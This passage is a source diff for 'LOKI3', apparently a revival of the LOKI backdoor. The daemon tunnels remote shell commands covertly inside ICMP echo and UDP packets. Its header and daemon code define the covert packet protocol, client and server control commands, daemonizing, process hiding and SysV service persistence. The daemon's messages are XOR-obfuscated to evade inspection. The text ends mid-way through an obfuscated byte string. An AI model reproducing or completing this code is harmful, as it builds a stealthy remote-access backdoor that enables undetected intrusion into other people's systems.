to user processes. + */ + +#ifdef NET3 +#define D_P_TYPE ICMP_ECHO +#define C_P_TYPE ICMP_ECHOREPLY +#else +#define D_P_TYPE ICMP_ECHOREPLY +#define C_P_TYPE ICMP_ECHO +#endif + +#ifdef WEAK_CRYPTO +#define CRYPTO_TYPE "XOR" +#endif +#ifdef NO_CRYPTO +#define CRYPTO_TYPE "none" +#endif + + +/* Start user configurable options */ + +#define MIN_TIMEOUT 3 /* minimum client-side alarm timeout */ +#define MAX_RETRAN 3 /* maximum client-side timeout/retry amount */ +#define MAX_CLIENT 10 /* maximum server-side client count */ +#define KEY_TIMER 600 /* maximum server-side idle client TTL */ + +/* End user configurable options */ + + + +#define VERSION "3.0" +#define BUFSIZE 0x38 /* We build packets with a fixed payload. + * Fine for ICMP_ECHO/ECHOREPLY packets as they + * often default to a 56 byte payload. However + * DNS query/reply packets have no set size and + * are generally oddly sized with no padding. + */ + +#define ICMPH_SIZE 8 +#define UDPH_SIZE 8 +#define NL_PORT htons(0x35) + +#define PROMPT "loki> " +#define ENCR 1 /* symbolic for encrypt */ +#define DECR 0 /* symbolic for decrypt */ +#define NOCR 1 /* don't encrypt this packet */ +#define OKCR 0 /* encrypt this packet */ +#define OK 1 /* Positive acknowledgement */ +#define NOK 0 /* Negative acknowledgement */ +#define NNOK -1 /* Really negative acknowledgement */ +#define FIND 1 /* Controls locate_client */ +#define DESTROY 2 /* disposition */ + +/* LOKI packet type symbolics */ + +#define L_TAG 0xf001 /* Tags packets as LOKI */ +#define L_PK_REQ 0xa1 /* Public Key request packet */ +#define L_PK_REPLY 0xa2 /* Public Key reply packet */ +#define L_EOK 0xa3 /* Encrypted ok */ +#define L_REQ 0xb1 /* Standard reuqest packet */ +#define L_REPLY 0xb2 /* Standard reply packet */ +#define L_ERR 0xc1 /* Error of some kind */ +#define L_ACK 0xd1 /* Acknowledgement */ +#define L_QUIT 0xd2 /* Receiver should exit */ +#define L_EOT 0xf1 /* End Of Transmission packet */ + +/* Packet type printing macro */ + +#ifdef DEBUG +#define PACKET_TYPE(ldg)\ +\ +if (ldg.payload[0] == 0xa1) fprintf(stderr, "Public Key Request"); \ +else if (ldg.payload[0] == 0xa2) fprintf(stderr, "Public Key Reply"); \ +else if (ldg.payload[0] == 0xa3) fprintf(stderr, "Encrypted OK"); \ +else if (ldg.payload[0] == 0xb1) fprintf(stderr, "Client Request"); \ +else if (ldg.payload[0] == 0xb2) fprintf(stderr, "Server Reply"); \ +else if (ldg.payload[0] == 0xc1) fprintf(stderr, "Error"); \ +else if (ldg.payload[0] == 0xd1) fprintf(stderr, "ACK"); \ +else if (ldg.payload[0] == 0xd2) fprintf(stderr, "QUIT"); \ +else if (ldg.payload[0] == 0xf1) fprintf(stderr, "Server EOT"); \ +else fprintf(stderr, "Unknown"); \ +if (prot == IPPROTO_ICMP) fprintf(stderr, ", ICMP type: %d\n", ldg.ttype.icmph.icmp_type);\ +else fprintf(stderr, "\n");\ + +#define DUMP_PACKET(ldg, i)\ +\ +for (i = 0; i < BUFSIZE; i++) fprintf(stderr, "0x%x ",ldg.payload[i]); \ +fprintf(stderr, "\n");\ + +#endif + + +/* + * Escaped commands (not interpreted by the shell) + */ + +#define HELP "/help" /* Help me */ +#define TIMER "/timer" /* Change the client side timer */ +#define QUIT_C "/quit" /* Quit the client */ +#define QUIT_ALL "/quit all" /* Kill all clients and server */ +#define STAT_C "/stat" /* Stat the client */ +#define STAT_ALL "/stat all" /* Stat all the clients */ +#define SWAP_T "/swapt" /* Swap protocols */ +#define REDIR_C "/redirect" /* Redirect to another client */ +#define PROXY_D "/proxy" /* Proxy to another server */ + +/* + * Control flag symbolics + */ + +#define TERMINATE 0x01 +#define TRAP 0x02 +#define VALIDC 0x04 +#define VALIDP 0x08 +#define NEWTRANS 0x10 +#define REDIRECT 0x20 +#define PROXY 0x40 +#define SENDKILL 0x80 + + +/* + * Message Strings + * L_ == common to both server and client + * S_ == specific to server + * C_ == specific to client + */ + +#define L_MSG_BANNER "\nLOKI3 dmfr [(c) 2019-3000 Elective Surgery]\n" +#define L_MSG_NOPRIV "\n[fatal] invalid user identification value" +#define L_MSG_SOCKET "[fatal] socket allocation error" +#define L_MSG_ICMPONLY "\nICMP protocol only with strong cryptography\n" +#define L_MSG_ATEXIT "[fatal] cannot register with atexit(2)" +#define L_MSG_DHKEYGEN "generating Diffie-Hellman parameters and keypair" +#define L_MSG_DHKGFAIL "\n[fatal] Diffie-Hellman key generation failure\n" +#define L_MSG_SIGALRM "[fatal] cannot catch SIGALRM" +#define L_MSG_SIGUSR1 "[fatal] cannot catch SIGUSR1" +#define L_MSG_WIERDERR "\n[SUPER fatal] control should NEVER fall here\n" +#define S_MSG_PACKED "\nlokid: server is currently at capacity. Try again later\n" +#define C_MSG_USAGE "\nloki -d dest -p (i|u) [ -v (0|1) ] [ -t (n>3) ]\n" +#define C_MSG_TIMEOUT "\nloki: no response from server (expired timer)\n" +#define C_MSG_MUSTQUIT "\nloki: received termination directive from server\n" + +/* + * Macros to evaluate packets to determine if they are LOKI or not. + * These are UGLY. + */ + + +/* + * ICMP_ECHO client packet check + */ +#define IS_GOOD_ITYPE_C(ldg)\ +\ +(i_check((uint16_t *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\ + ldg.ttype.icmph.icmp_type == D_P_TYPE &&\ + ldg.ttype.icmph.icmp_id == loki_id &&\ + ldg.ttype.icmph.icmp_seq == L_TAG &&\ + (ldg.payload[0] == L_REPLY ||\ + ldg.payload[0] == L_PK_REPLY ||\ + ldg.payload[0] == L_EOT ||\ + ldg.payload[0] == L_QUIT ||\ + ldg.payload[0] == L_ERR)) ==\ + (1) ? (1) : (0)\ +/* + * ICMP_ECHO daemon packet check + */ +#define IS_GOOD_ITYPE_D(ldg)\ +\ +(i_check((uint16_t *)&ldg.ttype.icmph, BUFSIZE + ICMPH_SIZE) == 0 &&\ + ldg.ttype.icmph.icmp_type == C_P_TYPE &&\ + ldg.ttype.icmph.icmp_seq == L_TAG &&\ + (ldg.payload[0] == L_REQ ||\ + ldg.payload[0] == L_QUIT ||\ + ldg.payload[0] == L_PK_REQ)) ==\ + (1) ? (1) : (0)\ +/* + * UDP client packet check + */ +#define IS_GOOD_UTYPE_C(ldg)\ +\ +(i_check((uint16_t *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\ + ldg.ttype.udph.uh_sport == NL_PORT &&\ + ldg.ttype.udph.uh_dport == loki_id &&\ + (ldg.payload[0] == L_REPLY ||\ + ldg.payload[0] == L_EOT ||\ + ldg.payload[0] == L_QUIT ||\ + ldg.payload[0] == L_ERR)) ==\ + (1) ? (1) : (0)\ +/* + * UDP daemon packet check. Yikes. We need more info here. + */ +#define IS_GOOD_UTYPE_D(ldg)\ +\ +(i_check((uint16_t *)&ldg.ttype.udph, BUFSIZE + UDPH_SIZE) == 0 &&\ + ldg.ttype.udph.uh_dport == NL_PORT &&\ + (ldg.payload[0] == L_QUIT ||\ + ldg.payload[0] == L_REQ)) ==\ + (1) ? (1) : (0)\ +/* + * ICMP_ECHO / ICMP_ECHOREPLY header prototype + */ +struct icmp_echo { + uint8_t icmp_type; /* 1 byte type */ + uint8_t icmp_code; /* 1 byte code */ + uint16_t icmp_cksum; /* 2 byte checksum */ + uint16_t icmp_id; /* 2 byte identification */ + uint16_t icmp_seq; /* 2 byte sequence number */ +}; + + +/* + * UDP header prototype + */ +struct udp { + uint16_t uh_sport; /* 2 byte source port */ + uint16_t uh_dport; /* 2 byte destination port */ + uint16_t uh_ulen; /* 2 byte length */ + uint16_t uh_sum; /* 2 byte checksum */ +}; + + +/* + * LOKI packet prototype + */ +struct loki { + struct ip iph; /* IP header */ + union { + struct icmp_echo icmph; /* ICMP header */ + struct udp udph; /* UDP header */ + }ttype; + uint8_t payload[BUFSIZE]; /* data payload */ +}; + +#define LOKIP_SIZE sizeof(struct loki) +#define LP_DST rdg.iph.ip_src + +void blur(int, int, uint8_t *); /* Symmetric encryption function */ +char *host_lookup(uint32_t); /* network byte -> human readable */ +uint32_t name_resolve(char *); /* human readable -> network byte */ +uint16_t i_check(uint16_t *, int); /* Ah yes, the IP family checksum */ +int c_parse(uint8_t *, int *); /* parse escaped commands [client] */ +void d_parse(uint8_t *, pid_t, int); /* parse escaped commands [server] */ + /* build and transmit LOKI packets */ +void loki_xmit(uint8_t *, uint16_t, int, struct sockaddr_in, int); +int lokid_xmit(uint8_t *, uint32_t, int, int); +void err_exit(int, int, int, char *); /* handle exit with reason */ +void clean_exit(int); /* exit cleanly */ +void help(); /* lala */ +void shadow(); /* daemonizing routine */ +void swap_t(int); /* swap protocols [server-side] */ +void reaper(int); /* prevent zombies */ +void catch_timeout(int); /* ALARM signal catcher */ +void client_expiry_check(); /* expire client from shm */ +void prep_shm(); /* Prepare shm ans semaphore */ +void dump_shm(); /* detach shm */ +void packets_read(); /* packets read (client) */ +void fd_status(int, int); /* dumps fd stats */ +#ifdef PERSISTENCE +void handle_sigterm(int); /* SIGTERM handler */ +void unlink_persistence(); /* remove SysV service persistence */ +#endif /* PERSISTENCE */ +/* EOF */ @@ -0,0 +1,581 @@ +/* + * LOKI3 + * + * [ lokid.c ] + * + * 1996/7 Guild Corporation Worldwide [daemon9] + */ + +#include "loki.h" +#include "client_db.h" +#include "shm.h" +#include "prochide.h" +#include "persistence.h" + + +#define WORKING_ROOT "/tmp" /* TODO: think about changing this */ + + +jmp_buf env; /* holds our stack frame */ +struct loki sdg, rdg; /* LOKI packets */ +time_t uptime = 0; /* server uptime */ +uint32_t b_sent = 0, p_sent = 0; /* bytes / packets written */ +uint16_t c_id = 0; /* client id */ +int destroy_shm = NOK; /* Used to mark whether or not a process should + * destroy the shm segment upon exiting. */ +int verbose = OK, prot = IPPROTO_ICMP, ripsock = 0, tsock = 0; + + +/* + * Obfuscated strings + */ +estring S_MSG_BANNER = { "\xda\x30\x80\x6c\x99\xbc\xe5\x8d\xbd\x1a\xbd\x07\x8b\xa7\x8f\xc0\xf0\x4e\xff\x16\xe9\xa2\xdf\xd9\xe0\x4c\xef\x62\xbc\xea\x8f\x9d\xb9\x0a\xaa\x07\x83\xfa\x9e\x8e\xb5\x0e\xb6\x7a\xda", 45, "\xd0\x7c\xcf\x27\xd0\x8f\xec\xe9", 8 }; // \nLOKI3\tdmfr [(c) 2019-3000 Elective Surgery]\n +estring S_MSG_CLIENT_PROTO_SWAP = { "\x3d\x41\x12\xee\x47\xc4\x0b\x00\x54\x41\x14\xe0\x40\xd4\x11\x1c\x12\x49\x43\xa5\x5c\xc5\x40\x55\x52\x5e\x09\xe0\x4a\x80\x50\x00\x47\x5f\x12\xf1\x41\xc3\x5e\x4c\x17\x5e\x0a\xe4\x5e\xaa", 46, "\x37\x2d\x7d\x85\x2e\xa0\x31\x20", 8 }; // \nlokid: client <%d> requested a protocol swap\n +estring S_MSG_SEND_PROTO_UPDATE = { "\xb0\xb8\xcf\x06\xc5\x5c\xc3\x1c\x99\xbb\xd8\x07\xd5\x5a\xce\x14\xd5\xeb\xdf\x18\xc5\x54\xd9\x1e\x83\xeb\x96\x4d\xc5\x0b\x8d\x5e\xca\xeb\xf1\x4d\xc5\x68\xa7", 39, "\xb9\xcb\xaa\x68\xa1\x35\xad\x7b", 8 }; // \tsending protocol update: <%d> %s [%d]\n +estring S_MSG_PROTOCOL_CHANGED = { "\xdf\xa6\xa4\xda\x50\x91\x08\x98\xc1\xa8\xa1\xc0\x44\xc4\x5a\x98\x93\xb9\xbd\xdc\x40\xc4\x4b\x83\xdf\xe9\xac\xdb\x55\xc5\x4f\x89\xd7\xe9\xbb\xdc\x14\x8e\x5b\xe6", 40, "\xb3\xc9\xcf\xb3\x34\xab\x28\xec", 8 }; // lokid: transport protocol changed to %s\n +estring S_MSG_UNSUP = { "\xed\xdd\xcd\xdd\x8f\xfa\x1a\xd4\x92\xdf\xd1\xc3\x96\xee\x4f\x86\x93\xd4\xc6\x96\x89\xec\x00\x81\x89\xda\xcc\xd9\x91\xf0\x00\x97\x88\xdc\xcf\xd7\x88\xfa\x00\x87\x93\xc3\xcb\xd8\x81\x94", 46, "\xe7\xb1\xa2\xb6\xe6\x9e\x20\xf4", 8 }; // \nlokid: unsupported or unknown command string\n +estring S_MSG_USAGE = { "\x71\x70\xfc\xfb\xfd\x33\x14\x33\x0b\x3c\xbb\xf9\xe8\x22\x1d\x3e\x20\x3c\xbe\xe6\xb4\x7f\x04\x62\x4a\x35\xb3\xcd\x9e", 29, "\x7b\x1c\x93\x90\x94\x57\x34\x1e", 8 }; // \nlokid -p (i|u) [ -v (0|1) ]\n +estring S_MSG_CANNOT_ADD_KEY = { "\x51\x5c\xb3\x15\xfd\x1a\xfd\x09\x18\x51\xb2\x10\xfb\x0a\xe7\x48\x3f\x54\xfc\x15\xf1\x07\xcd", 23, "\x5b\x30\xdc\x7e\x94\x7e\xc7\x29", 8 }; // \nlokid: Cannot add key\n +estring S_MSG_CANNOT_DAEMONIZE = { "\x23\xa8\xb5\x5c\x5e\x34\x7d\x70\x3b\xaf\xba\x46\x50\x2c\x00\x37\x17\xee\xb0\x49\x5a\x35\x4f\x3e", 24, "\x78\xce\xd4\x28\x3f\x58\x20\x50", 8 }; // [fatal] Cannot go daemon +estring S_MSG_CANNOT_CREATE_SESSION = { "\x00\xc6\xc8\x13\x36\x16\x5b\x6e\x18\xc1\xc7\x09\x38\x0e\x26\x2d\x29\xc5\xc8\x13\x32\x5a\x75\x2b\x28\xd3\xc0\x08\x39", 29, "\x5b\xa0\xa9\x67\x57\x7a\x06\x4e", 8 }; // [fatal] Cannot create session +estring S_MSG_CANNOT_DETACH_TERMINAL = { "\xb1\x4f\x79\xe6\xf6\xc4\x86\xdd\x89\x48\x76\xfc\xf8\xdc\xfb\x99\x8f\x5d\x79\xf1\xff\x88\xbd\x8f\x85\x44\x38\xf1\xf8\xc6\xaf\x8f\x85\x45\x74\xfb\xf9\xcf\xfb\x89\x8f\x5b\x75\xfb\xf9\xc9\xb7", 47, "\xea\x29\x18\x92\x97\xa8\xdb\xfd", 8 }; // [fatal] cannot detach from controlling terminal +estring S_MSG_CANNOT_CHDIR = { "\x67\x81\x67\x62\x00\xa8\x91\x37\x5f\x86\x68\x78\x0e\xb0\xec\x74\x54\x83\x6f\x64\x41\xb0\xa3\x37\x6b\xa8\x54\x5d\x28\x8a\x8b\x48\x6e\xa8\x49\x42", 36, "\x3c\xe7\x06\x16\x61\xc4\xcc\x17", 8 }; // [fatal] cannot chdir to WORKING_ROOT +estring S_MSG_CANNOT_SIGNAL_PARENT = { "\x2f\x17\x9f\xa9\x85\x4f\xc9\xba\x17\x1e\x8b\xb1\x80\x03\xfa\xf5\x00\x51\x8d\xb4\x83\x4d\xf5\xf6\x54\x01\x9f\xaf\x81\x4d\xe0", 31, "\x74\x71\xfe\xdd\xe4\x23\x94\x9a", 8 }; // [fatal] could not signal parent +estring S_MSG_NOPRIV = { "\x0f\x71\x84\x61\x50\xc4\x61\xae\x25\x43\x8c\x76\x45\xc9\x64\x97\x25\x5f\x91\x65\x56\x85\x64\x97\x60\x44\x96\x69\x42\xcc\x6e\x92\x71\x43\x8d\x6e\x04\xd3\x6c\x9f\x70\x4f", 42, "\x05\x2a\xe2\x00\x24\xa5\x0d\xf3", 8 }; // \n[fatal] invalid user identification value +estring S_MSG_UNKNOWN_TRANSPORT = { "\x69\xde\x30\x07\x32\xe1\x75\xe0\x67\xd6\x3a\x1d\x3c\xfa\x46\xe0\x46\xca\x30\x1d\x20\xfd\x47\xb2\x46\xb2", 26, "\x32\xb8\x51\x73\x53\x8d\x28\xc0", 8 }; // [fatal] Unknown transport\n +estring S_MSG_SOCKET = { "\xb8\x79\x5c\x92\x4f\xa7\x59\x98\x90\x70\x5e\x8d\x4b\xbf\x24\xd9\x8f\x73\x52\x85\x4f\xbf\x6d\xd7\x8d\x3f\x58\x94\x5c\xa4\x76", 31, "\xe3\x1f\x3d\xe6\x2e\xcb\x04\xb8", 8 }; // [fatal] socket allocation error +estring S_MSG_IP_HDRINCL = { "\xf0\x67\xc9\x6a\xef\x9d\x60\xd8\xd6\x72\x87\x4d\xd0\xb6\x08\xef\xe1\x4f\xe9\x47\xcc\xc9\x33\xc4\xd0\x6d\xc2\x70\xa0\x86\x30\xdf\xda\x69\xc9", 35, "\xb3\x06\xa7\x04\x80\xe9\x40\xab", 8 }; // Cannot set IP_HDRINCL socket option +estring S_MSG_ATEXIT = { "\xaf\x8e\x3b\x4d\xe8\xf6\x34\x78\x97\x89\x34\x57\xe6\xee\x49\x2a\x91\x8f\x33\x4a\xfd\xff\x1b\x78\x83\x81\x2e\x51\xa9\xfb\x1d\x3d\x8c\x81\x2e\x11\xbb\xb3", 38, "\xf4\xe8\x5a\x39\x89\x9a\x69\x58", 8 }; // [fatal] cannot register with atexit(2) +estring S_MSG_SIGUSR1 = { "\xcc\x88\xde\x60\x93\xc5\xec\x2a\xf4\x8f\xd1\x7a\x9d\xdd\x91\x69\xf6\x9a\xdc\x7c\xd2\xfa\xf8\x4d\xc2\xbd\xed\x25", 28, "\x97\xee\xbf\x14\xf2\xa9\xb1\x0a", 8 }; // [fatal] cannot catch SIGUSR1 +estring S_MSG_SIGTERM = { "\xe9\x07\x13\xc1\x95\xb5\x56\x17\xd1\x00\x1c\xdb\x9b\xad\x2b\x54\xd3\x15\x11\xdd\xd4\x8a\x42\x70\xe6\x24\x20\xf8", 28, "\xb2\x61\x72\xb5\xf4\xd9\x0b\x37", 8 }; // [fatal] cannot catch SIGTERM +estring S_MSG_SIGALRM = { "\x62\x88\x0a\xcc\x0e\xc2\x6b\xc6\x5a\x8f\x05\xd6\x00\xda\x16\x85\x58\x9a\x08\xd0\x4f\xfd\x7f\xa1\x78\xa2\x39\xf5", 28, "\x39\xee\x6b\xb8\x6f\xae\x36\xe6", 8 }; // [fatal] cannot catch SIGALRM +estring S_MSG_SIGCHLD = { "\x21\x2d\xd9\x64\x57\x0d\x48\xc8\x19\x2a\xd6\x7e\x59\x15\x35\x8b\x1b\x3f\xdb\x78\x16\x32\x5c\xaf\x39\x03\xf4\x54", 28, "\x7a\x4b\xb8\x10\x36\x61\x15\xe8", 8 }; // [fatal] cannot catch SIGCHLD +estring S_MSG_WIERDERR = { "\x54\x37\x14\x8a\x9b\x0f\xdc\x9d\x38\x0d\x33\xbe\xa7\x17\xae\xde\x31\x02\x33\xad\xa4\x26\xae\xce\x36\x03\x32\xb3\xaf\x6a\xc0\xf8\x08\x29\x15\xff\xad\x2b\xe2\xd1\x7e\x04\x22\xad\xae\x40", 46, "\x5e\x6c\x47\xdf\xcb\x4a\x8e\xbd", 8 }; // \n[SUPER fatal] control should NEVER fall here\n +estring S_MSG_FORK_ERROR = { "\xf2\xf4\x22\x03\x2b\xa8\x3b\xe8\xcf\xfd\x31\x1c\x23\xaa\x01\xe8\xcc\xe0\x31\x18\x38", 21, "\xa9\x92\x43\x77\x4a\xc4\x66\xc8", 8 }; // [fatal] forking error +estring S_MSG_CLIENT_FREED = { "\xa6\x86\xd6\xf2\xcc\x64\x04\xda\xcf\x86\xd0\xfc\xcb\x74\x1e\xc6\x89\x8e\x87\xb9\xc3\x72\x5b\x9f\xc8\xca\xdf\xeb\xca\x6d\x1e\x96\xc5\x99\xcd\xb9\xfe\x25\x5a\xa7", 40, "\xac\xea\xb9\x99\xa5\x00\x3e\xfa", 8 }; // \nlokid: client <%d> freed from list [%d] +estring S_MSG_CLIENT_ALL_KILL = { "\x17\xe9\x11\x4d\x06\xf1\x0a\x08\x7e\xe9\x17\x43\x01\xe1\x10\x14\x38\xe1\x40\x06\x1d\xf0\x41\x5d\x78\xf6\x0a\x43\x0b\xb5\x51\x46\x3d\xe4\x12\x4a\x4f\xfe\x59\x44\x71\x8f", 42, "\x1d\x85\x7e\x26\x6f\x95\x30\x28", 8 }; // \nlokid: client <%d> requested an all kill +estring S_MSG_POPEN = { "\x12\xcc\xef\xf4\x0b\x16\xc7\xff\x68\xcf\xf0\xfa\x0c", 13, "\x18\xa0\x80\x9f\x62\x72\xfd\xdf", 8 }; // \nlokid: popen +estring S_MSG_TRUNCATED_WRITE = { "\x9c\x5c\xa4\x53\x57\x5c\x64\xd2\xa6\x5e\x96\x1d\x03\x48\x70\xc8\xa4\x53\xbf\x58\x13\x1a\x72\xd4\xae\x46\xae", 27, "\xc7\x32\xcb\x3d\x77\x3a\x05\xa6", 8 }; // [non fatal] truncated write +estring S_MSG_SENDING_L_QUIT = { "\x61\x3c\x16\x2c\x93\x83\x06\xd1\x48\x03\x2c\x13\xa2\xa3\x3c\x8c\x48\x73\x56\x26\xc9\xca\x4d\xc5\x62", 25, "\x68\x4f\x73\x42\xf7\xea\x68\xb6", 8 }; // \tsending L_QUIT: <%d> %s\n +estring S_MSG_CANNOT_SIGNAL_PROCESS_GROUP = { "\x91\xab\x95\x71\xef\x4e\x70\x9f\xa9\xa2\x81\x69\xea\x02\x43\xd0\xbe\xed\x87\x6c\xe9\x4c\x4c\xd3\xea\xbd\x86\x6a\xed\x47\x5e\xcc\xea\xaa\x86\x6a\xfb\x52", 38, "\xca\xcd\xf4\x05\x8e\x22\x2d\xbf", 8 }; // [fatal] could not signal process group +estring S_MSG_UNKNOWN = { "\xcf\xfd\xe5\x15\x72\x32\x7c\x54\xa6\xf0\xe4\x10\x74\x22\x66\x18\xaa\xf2\xeb\x0a\x7e\x76\x25\x18\xac\xf4\xe4\x0a\x3b\x33\x28\x00\xb7\xe8\xaa\x17\x75\x76\x22\x15\xb1\xf0\xe8\x1f\x68\x33\x4c", 47, "\xc5\x91\x8a\x7e\x1b\x56\x46\x74", 8 }; // \nlokid: cannot locate client entry in database\n +estring S_MSG_CLIENTK = { "\x23\x2a\xd6\x8a\x68\xd1\x18\x42\x4a\x2a\xdc\x80\x6f\x95\x47\x1a\x40\x32\x99\xc9\x6a\xdc\x4e\x0e\x4c\x22\x99\x80\x75\x95\x41\x0e\x40\x23\xd7\x95\x21\xc7\x47\x13\x5c\x23\xca\x95\x28\xbf", 46, "\x29\x46\xb9\xe1\x01\xb5\x22\x62", 8 }; // \nlokid: clean exit (killed at client request)\n +estring S_MSG_EXPIRED_CLIENT = { "\x29\xc2\xae\x90\x65\xbc\x3b\x99\x4a\xc0\xa0\x98\x78\xb1\x77\xdc\x03\xcd\xad\x92\x69\xb6\x75\x99\x1f\x8b\xa5\xc5\x2c\xbd\x79\xc9\x4a\xdc\xa4\x9f\x2c\xbe\x73\xd6\x4e\x8e\xad\x92\x7f\xac\x21\xe2\x06\xca\x9c\xf1", 52, "\x23\xae\xc1\xfb\x0c\xd8\x01\xb9", 8 }; // \nlokid: inactive client <%d> expired from list [%d]\n +estring S_MSG_CLIENT_DB_FULL = { "\x2f\x93\x63\xe9\x09\x52\x07\xbb\x66\x93\x65\xe7\x0e\x42\x1d\xff\x44\x8b\x6d\xe0\x01\x45\x58\xbb\x43\x8a\x60\xee", 28, "\x25\xff\x0c\x82\x60\x36\x3d\x9b", 8 }; // \nlokid: Client database full +estring S_MSG_SHM_DETACH_ERROR = { "\x00\xf6\xf0\xe1\xc1\xdb\x72\xac\x28\xf8\xf0\xe7\xc5\xd3\x0f\xe1\x3e\xfd\xb1\xe6\xc5\xd0\x42\xe9\x35\xe4\xb1\xf1\xc5\xc3\x4e\xef\x33\xb0\xf4\xe7\xd2\xd8\x5d", 39, "\x5b\x90\x91\x95\xa0\xb7\x2f\x8c", 8 }; // [fatal] shared mem segment detach error +estring S_MSG_CANNOT_DESTROY_SHMID = { "\xbc\xd0\x68\x87\x6b\x0c\xcb\x50\x84\xd7\x67\x9d\x65\x14\xb6\x14\x82\xc5\x7d\x81\x65\x19\xb6\x03\x8f\xdb\x60\x97", 28, "\xe7\xb6\x09\xf3\x0a\x60\x96\x70", 8 }; // [fatal] cannot destroy shmid +estring S_MSG_CANNOT_DESTROY_SEMAPHORE = { "\x63\x1f\x98\x01\x34\x56\x23\x02\x5b\x18\x97\x1b\x3a\x4e\x5e\x46\x5d\x0a\x8d\x07\x3a\x43\x5e\x51\x5d\x14\x98\x05\x3d\x55\x0c\x47", 32, "\x38\x79\xf9\x75\x55\x3a\x7e\x22", 8 }; // [fatal] cannot destroy semaphore + +/* 'stat' command output strings */ +estring S_STAT_UPTIME = { "\x5b\x6a\x30\xa8\xc3\x14\xc5\x0f\x58\x7b\x2b\xb3\xc3\x5c\xec\x73\x0d\x21\x72\xec\xc0\x46\x88\x13\x46\x7a\x36\xbb\xd5\x6c", 30, "\x28\x0f\x42\xde\xa6\x66\xe5\x7a", 8 }; // server uptime:\t\t%.02f minutes\n +estring S_STAT_VERSION = { "\xcf\x51\x04\x13\x2e\xcc\x51\xed\xa0\x4f\x18\x11\x28\xc6\x4b\x92\xcc\x18\x18\x72", 20, "\xc5\x3d\x6b\x78\x47\xa8\x71\x9b", 8 }; // \nlokid version:\t\t%s\n +estring S_STAT_INTERFACE = { "\x29\x4b\x03\x49\x58\x12\x99\x57\x35\x5a\x0b\x54\x4a\x16\xda\x5b\x61\x27\x4b\x55\x26", 21, "\x5b\x2e\x6e\x26\x2c\x77\xb9\x3e", 8 }; // remote interface:\t%s\n +estring S_STAT_TRANSPORT = { "\xcd\x5a\x26\x45\x7b\xb9\x8f\xdb\xde\x58\x3c\x5f\x7d\xb3\xdd\xdb\x96\x30\x77\x5f\x07", 21, "\xac\x39\x52\x2c\x0d\xdc\xaf\xaf", 8 }; // active transport:\t%s\n +estring S_STAT_CRYPTO = { "\x26\x72\xfb\xc7\xbe\xad\xe9\x0d\x35\x68\xff\xda\xa7\xaf\xbb\x0f\x37\x79\xf6\x94\xc1\xed\xba\x64", 24, "\x47\x11\x8f\xae\xc8\xc8\xc9\x6e", 8 }; // active cryptography:\t%s\n +estring S_STAT_CLIENT_ID = { "\x60\x98\x26\xeb\x77\x00\x9e\x97\x47\xce\x46\x87\x3c\x10\xb4", 15, "\x03\xf4\x4f\x8e\x19\x74\xbe\xde", 8 }; // client ID:\t\t%d\n +estring S_STAT_PACKETS_WRITTEN = { "\x59\xb5\xc1\xcf\x24\x9a\x5b\xfa\x5e\xa6\xcb\xd0\x35\x8b\x46\xe0\x20\xf1\xc6\xae", 20, "\x29\xd4\xa2\xa4\x41\xee\x28\xda", 8 }; // packets written:\t%d\n +estring S_STAT_BYTES_WRITTEN = { "\xc5\x8e\xa8\x1d\x6b\xd6\xf3\x9d\xce\x83\xa8\x1d\x76\xcc\x8d\xe6\x82\x93\xd6", 19, "\xa7\xf7\xdc\x78\x18\xf6\x84\xef", 8 }; // bytes written:\t\t%d\n +estring S_STAT_REQUESTS = { "\x54\x1a\xd9\x40\x1c\x26\x5b\xf2\x1c\x76\xa1\x10\x1d\x5f", 14, "\x26\x7f\xa8\x35\x79\x55\x2f\x81", 8 }; // requests:\t\t%d\n + +estring S_MSG_SHM_SEGMENT_ERROR = { "\x46\x35\xd6\x98\x77\xad\x2a\x3b\x6e\x3b\xd6\x9e\x73\xa5\x57\x76\x78\x3e\x97\x9f\x73\xa6\x1a\x7e\x73\x27\x97\x9e\x73\xb0\x02\x7e\x6e\x27\x97\x89\x64\xb3\x18\x69", 40, "\x1d\x53\xb7\xec\x16\xc1\x77\x1b", 8 }; // [fatal] shared mem segment request error +estring S_MSG_SEMAPHORE_ALLOCATION_ERROR = { "\x7c\x36\x46\x73\xb3\x3d\x34\xdc\x54\x35\x4a\x66\xa2\x39\x06\x8e\x42\x70\x46\x6b\xbe\x3e\x0a\x9d\x53\x39\x48\x69\xf2\x34\x1b\x8e\x48\x22", 34, "\x27\x50\x27\x07\xd2\x51\x69\xfc", 8 }; // [fatal] semaphore allocation error +estring S_MSG_CANNOT_LOCK_MEMORY = { "\x9f\x90\x84\x39\xf7\x83\x42\x2e\xa7\x99\x90\x21\xf2\xcf\x71\x61\xb0\xd6\x89\x22\xf5\x84\x3f\x63\xa1\x9b\x8a\x3f\xef", 29, "\xc4\xf6\xe5\x4d\x96\xef\x1f\x0e", 8 }; // [fatal] could not lock memory +estring S_MSG_CANNOT_UNLOCK_MEMORY = { "\xa5\x15\x5e\xbb\x3c\x94\x01\x5a\x9d\x1c\x4a\xa3\x39\xd8\x32\x15\x8a\x53\x4a\xa1\x31\x97\x3f\x11\xde\x1e\x5a\xa2\x32\x8a\x25", 31, "\xfe\x73\x3f\xcf\x5d\xf8\x5c\x7a", 8 }; // [fatal] could not unlock memory + +estring S_SYSV_SERVICE = { "\xd6\x4a\x5a\xc1\x2d\x8d\x05\x6f\x9d\x61\x56\x80\x67\xc3\x68\x59\xb2\x22\x3b\x83\x0d\xad\x63\x48\xd5\x22\x3b\xe5\x0b\xe9\x09\x3c\xa5\x19\x1a\xd5\x2d\x87\x4f\x6f\xcf\x4b\x50\xd0\x4e\xc0\x0a\x58\x90\x0d\x14\xd6\x28\x97\x07\x4f\x81\x0a\x07\xd7\x7e\xc3\x18\x3c\xc6\x4b\x41\x83\x71\xe9\x09\x3c\xb1\x0e\x13\xc2\x31\x8f\x5e\x31\xa6\x1f\x1a\xd3\x7e\xc3\x1a\x3c\xc4\x4b\x43\xa9\x67\xc3\x79\x74\x9a\x19\x01\x8e\x00\x86\x59\x7f\x87\x02\x05\xd7\x2d\x8c\x44\x26\xd5\x4e\x06\xa9\x67\xc3\x6e\x79\x86\x08\x07\xca\x34\x97\x43\x73\x9b\x51\x55\x86\x37\xe9\x09\x3f\xd6\x4b\x30\xed\x00\xc3\x63\x52\xbc\x3f\x55\xea\x0a\xa5\x65\x16\xff\x08\x14\xd0\x21\xc3\x08\x38\xc4\x49\x55\xca\x2a\xe9\x0a\x3c\xd5\x4b\x06\xd7\x25\x91\x5e\x35\xff\x4b\x55\x83\x